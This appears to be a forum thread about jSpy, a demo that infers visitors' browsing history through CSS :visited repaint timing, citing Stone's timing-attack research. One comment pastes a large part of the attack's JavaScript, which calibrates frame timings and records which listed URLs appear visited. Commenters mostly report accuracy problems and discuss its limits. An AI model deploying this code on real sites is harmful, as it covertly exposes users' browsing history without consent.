jSpy: Automatically detect user's history
Here's a mirror: https://dl.dropboxusercontent.com/u/192234503/jspy/index.htm... I'm really sorry that my hosting's down.
Here's the paper on how this works: https://media.blackhat.com/us-13/US-13-Stone-Pixel-Perfect-T...
For the curious, the source[1] mentions "Pixel Perfect Timing Attacks" by Paul Stone[2].
[1]: https://dl.dropboxusercontent.com/u/192234503/jspy/scripts.j... [2]: https://media.blackhat.com/us-13/US-13-Stone-Pixel-Perfect-T...
This attack isn’t new – the first proof of concept I know of that worked well is from 2011: http://lcamtuf.blogspot.com/2011/12/css-visited-may-be-bit-o...
undefined
Unless I'm missing something, it doesn't collect your history but rather can test whether you have visited a URL before. While still a problem, it's certainly a different thing.
I run it in the Tint browser on Android and got Hacker News plus a few false positives, sites I never heard about and never been at (maybe some images included in other sites?). I got a much longer list of sites in Dolphin but that's my main Android browser. Again, many unknown sites but I can't remember or notice any random link I touch. I tried again with Chromium on Linux and got the cannot calibrate message. Firefox is my main browser and is not supported, luckily, let me add :-)
And I also made a jQuery plugin to make it easier to understand the code and also use it on websites. http://projects.milankragujevic.com/jquery.jspy/
Okay, so this is basically brute forcing against a kown list of websites. Not all that impressive IMO.
Although you could possibly try to use this for a clickjacking attack, for instance if you detect amazon.com loading from cache.
This really didn't work at all. I'm using the latest stable Chrome on a Mac. Roughly 3/4 of the results (there's too many to bother counting) are sites I've never been to.
Chrome Question: How come on the Network tab on the Developer Tools window (F12) I cannot see any of the traffic to the hundreds of sites the browser is pinging to render into iframes?
I have extended the list to include 1065 sites + 2 calibration sites. It's also now much faster and much, much more accurate.
Doesn't work on chromium on linux, detected two sites that I've never been to, on a completely fresh install.
If you want to check the source code write in your console:
then click the button and step in. Here is a part of the source, hope the author doesn't mind about this:var updateParams2 = updateParams; function (){debugger; updateParams2()};
urls = [ function initStats() { currentUrl = 0; start = NaN; counter = 0; posTimes = []; negTimes = []; if (stop) { stop = false; loop() } } function updateParams() { out.style.textShadow = "black 1px 1px 60px"; out.style.opacity = "0.5"; out.style.fontSize = "15px"; textLines = (window.textlines ? window.textlines : 100); textLen = (window.textlen ? window.textlen : 5); write(); resetLinks(); initStats() } function write() { var c = ""; var a = urls[currentUrl]; var d = ""; while (d.length < textLen) { d += "#" } for (var b = 0; b < textLines; b++) { c += "<a href=" + a; c += ">" + d; c += "</a> " } out.innerHTML = c } function updateLinks() { var a = urls[currentUrl]; for (var b = 0; b < out.children.length; b++) { out.children[b].href = a; out.children[b].style.color = "red"; out.children[b].style.color = "" } } function resetLinks() { for (var a = 0; a < out.children.length; a++) { out.children[a].href = "http://" + Math.random() + ".asd"; out.children[a].style.color = "red"; out.children[a].style.color = "" } } function median(b) { b.sort(function(e, d) { return e - d }); if (b.length % 2) { var a = b.length / 2 - 0.5; return b[a] } else { var c = b[b.length / 2 - 1]; c += b[b.length / 2]; c = c / 2; return c } } function loop(c) { if (stop) { return } var d = (c - start) | 0; start = c; if (!isNaN(d)) { counter++; if (counter % 2 == 0) { resetLinks(); if (counter > 4) { if (currentUrl == 0) { document.getElementById("nums").textContent = "Calibrating..."; posTimes.push(d); timespans[currentUrl].textContent = posTimes.join(", ") } if (currentUrl == 1) { negTimes.push(d); timespans[currentUrl].textContent = negTimes.join(", "); if (negTimes.length >= calibIters) { var b = median(posTimes); var a = median(negTimes); if (b - a < 30) { if (window.textLines < 200) { window.textlines = textLines + 50; stop = true; updateParams() } stop = true; return } threshold = a + (b - a) * 0.75; document.getElementById("nums").textContent = "Median Visited: " + b + "ms / Median Unvisited: " + a + "ms / Threshold: " + threshold + "ms"; timeStart = Date.now() } } if (currentUrl >= 2) { timespans[currentUrl].textContent = d; linkspans[currentUrl].className = (d >= threshold) ? "visited yes" : "visited"; if ((d >= threshold) == true) { window.links.push(urls[currentUrl]) } incUrl = true } currentUrl++; if (currentUrl == 2 && (negTimes.length < calibIters || posTimes.length < calibIters)) { currentUrl = 0 } if (currentUrl == urls.length) { timeElapsed = (Date.now() - timeStart) / 1000; document.getElementById("nums").innerHTML += "<br>Time elapsed: " + timeElapsed + "s, tested " + (((urls.length - 2) / timeElapsed) | 0) + " URLs/sec"; stop = true; finishjSpy() } if (currentUrl > 2) { $(".analyze_log").html(urls[currentUrl]) } else { $(".analyze_log").html("Calibrating... ") } currentURLout.textContent = urls[currentUrl] } } else { updateLinks() } } requestAnimationFrame(loop) } function setupLinks() { window.links = []; var f = document.createElement("table"); f.innerHTML = "<tr><th></th><th>URL</th><th>Times (ms)</th></tr>"; f.className = "linklist"; for (var e = 0; e < urls.length; e++) { var b = document.createElement("a"); b.href = urls[e]; b.textContent = urls[e]; var h = document.createElement("span"); h.className = "timings"; var d = document.createElement("span"); d.textContent = "\u2713"; d.className = "visited"; var g = document.createElement("tr"); for (var c = 0; c < 3; c++) { g.appendChild(document.createElement("td")) } g.cells[0].appendChild(d); g.cells[1].appendChild(b); g.cells[2].appendChild(h); f.appendChild(g); timespans[e] = h; linkspans[e] = d } document.getElementById("log").appendChild(f) } setupLinks(); function initjSpy() { $(".loading").fadeIn() } function finishjSpy() { $(".loading").fadeOut(); $.each(window.links, function(a, b) { $(".results ul").append("<li>" + b + "</li>") }); $(".content").fadeOut(); $(".jspy").remove(); setTimeout(function() { $(".content").remove(); $(".results").fadeIn() }, 500) } ;
Bandwidth limit. Any mirror?